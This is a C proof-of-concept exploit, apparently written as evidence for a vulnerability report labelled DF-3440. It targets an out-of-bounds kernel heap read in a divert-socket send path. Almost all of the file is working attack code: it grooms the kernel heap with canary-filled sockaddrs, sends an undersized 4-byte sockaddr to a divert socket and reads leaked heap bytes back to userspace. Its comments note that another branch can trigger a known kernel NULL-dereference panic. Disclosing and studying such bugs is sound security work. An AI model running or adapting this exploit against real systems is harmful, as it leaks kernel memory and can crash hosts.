/*
 * divleak.c - DF-3440 evidence: div_output() reads sin->sin_port
 * (offset 4..8) and sin->sin_addr (offset 8..12) from a user-supplied
 * sockaddr allocated with as few as 4 bytes (getsockaddr,
 * kern/uipc_syscalls.c:1513).  div_send/div_output perform no length
 * validation (sys/netinet/ip_divert.c:317-373).
 *
 * Leak readback chain:
 *   1. groom: sendto(udp, ..., 8-byte sockaddr, 8) -> kmalloc(8) chunk
 *      whose bytes 4..6 (sin_port slot) are the canary, then freed.
 *   2. sendto(divert, packet, ..., 4-byte sockaddr, 4) -> LIFO reuse of
 *      that 8-byte chunk; the user supplied only bytes 0..4.
 *   3. div_output() reads sin_port = canary (2 bytes OUT OF BOUNDS)
 *      into divinfo->skipto and reinjects the packet.
 *   4. an ipfw2 "divert" rule catches the reinjected packet and
 *      div_packet() copies divinfo->skipto into divsrc.sin_port of the
 *      sockaddr delivered to the divert-socket reader.
 *   5. recvfrom() on the divert socket: sin_port == canary proves the
 *      kernel read heap bytes from beyond the 4-byte user allocation
 *      and passed them to userspace.
 *
 * NB: if div_output() takes the INPUT branch (sin_addr read OOB from
 * the adjacent chunk is nonzero), the reinjected packet enters
 * ip_input() with rcvif == NULL and the divert rule triggers the
 * (independently known) DF-0645 NULL-deref panic.  A panic here is
 * itself proof that the branch was chosen by out-of-bounds bytes.
 *
 * root only (divert socket + ipfw).  Run: ./divleak
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

#ifndef IPPROTO_DIVERT
#define IPPROTO_DIVERT 258
#endif
#define DIVPORT 8675
#define CANARY_PORT 0x0022	/* small so the ipfw resume stays < 100 */

static int dfd, ufd;

static void
mkpkt(unsigned char *pkt, size_t len)
{
	struct ip *ip = (struct ip *)pkt;

	memset(pkt, 0, len);
	ip->ip_v = 4;
	ip->ip_hl = 5;
	ip->ip_len = htons(len);
	ip->ip_ttl = 64;
	ip->ip_p = 1;
	inet_pton(AF_INET, "127.0.0.1", &ip->ip_src);
	inet_pton(AF_INET, "127.0.0.1", &ip->ip_dst);
	pkt[20] = 8;			/* ICMP echo request */
	/* leave ip_sum 0; loopback/divert path does not reject it */
}

int
main(void)
{
	unsigned char pkt[48];
	unsigned char tiny[4];
	unsigned char gsa[8];
	struct sockaddr_in full;
	struct sockaddr_in from;
	socklen_t flen;
	char buf[2048];
	ssize_t n;
	int i, seen = 0;

	if ((dfd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0 ||
	    (ufd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		fprintf(stderr, "socket: %s (need root)\n", strerror(errno));
		return 1;
	}

	/* bind divert socket to the divert port so we can read back */
	memset(&full, 0, sizeof(full));
	full.sin_len = sizeof(full);
	full.sin_family = AF_INET;
	full.sin_port = htons(DIVPORT);
	if (bind(dfd, (struct sockaddr *)&full, sizeof(full)) < 0) {
		fprintf(stderr, "bind divert: %s\n", strerror(errno));
		return 1;
	}

	mkpkt(pkt, sizeof(pkt));

	/* groom chunk: 8-byte sockaddr with canary at bytes 4..6 */
	memset(gsa, 0, sizeof(gsa));
	gsa[0] = 8;
	gsa[1] = AF_INET;
	gsa[4] = (CANARY_PORT >> 8) & 0xff;	/* network order */
	gsa[5] = CANARY_PORT & 0xff;
	gsa[6] = 0x55;
	sendto(ufd, "g", 1, 0, (struct sockaddr *)gsa, sizeof(gsa));

	/* the under-sized destination sockaddr: 4 bytes only */
	memset(tiny, 0, sizeof(tiny));
	tiny[0] = 4;
	tiny[1] = AF_INET;

	/* re-groom right before each shot (LIFO reuse) */
	for (i = 0; i < 6 && !seen; i++) {
		sendto(ufd, "g", 1, 0, (struct sockaddr *)gsa, sizeof(gsa));
		n = sendto(dfd, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)tiny, sizeof(tiny));
		printf("shot %d: sendto=%zd errno=%d\n", i, n, errno);

		usleep(300000);
		flen = sizeof(from);
		n = recvfrom(dfd, buf, sizeof(buf), MSG_DONTWAIT,
		    (struct sockaddr *)&from, &flen);
		if (n > 0) {
			printf("READBACK: %zd bytes; from.sin_port = 0x%04x "
			    "sin_addr=%08x (canary 0x%04x => %s)\n",
			    n, ntohs(from.sin_port),
			    (unsigned)ntohl(from.sin_addr.s_addr),
			    CANARY_PORT,
			    ntohs(from.sin_port) == CANARY_PORT ?
			    "OOB HEAP BYTES LEAKED TO USERSPACE" : "other");
			seen = 1;
		} else {
			printf("  no divert readback yet (%s)\n",
			    strerror(errno));
		}
	}
	if (!seen)
		printf("no readback (packet may have taken the INPUT path "
		    "and tripped DF-0645, or missed the rule)\n");
	return seen ? 0 : 2;
}
